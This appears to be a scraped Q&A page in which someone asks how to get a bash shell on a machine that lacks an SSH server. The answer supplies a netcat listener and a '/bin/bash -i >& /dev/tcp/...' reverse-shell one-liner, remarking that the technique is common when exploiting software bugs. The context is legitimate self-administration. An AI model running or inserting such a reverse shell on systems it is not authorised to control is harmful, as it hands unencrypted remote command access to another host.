ssh - How to open a shell without SSHD on the receiving end? -


i have machine without sshd , want open bash shell on machine remote machine (that can control).

since have ssh on limited machine, configured reverse proxy:

$ ssh -r 19999:localhost:22 remoteuser@remotemachine 

now have connection on port 19999 "fully control" machine "limited" machine. how open shell setup?

you can pipe input port directly bash. common practice when misusing various bugs in software. example, run on full-access machine:

nc -lvp 9999 

and on limited machine

/bin/bash -i >& /dev/tcp/192.168.122.1/9999 0>&1 

where 192.168.122.1 ip of full-control machine.

this give shell of second machine in first one. note connection not encrypted. if want encryption, need add tcp forwarding step (similar propose above).


Comments

Popular posts from this blog

Spring Boot + JPA + Hibernate: Unable to locate persister -

go - Golang: panic: runtime error: invalid memory address or nil pointer dereference using bufio.Scanner -

c - double free or corruption (fasttop) -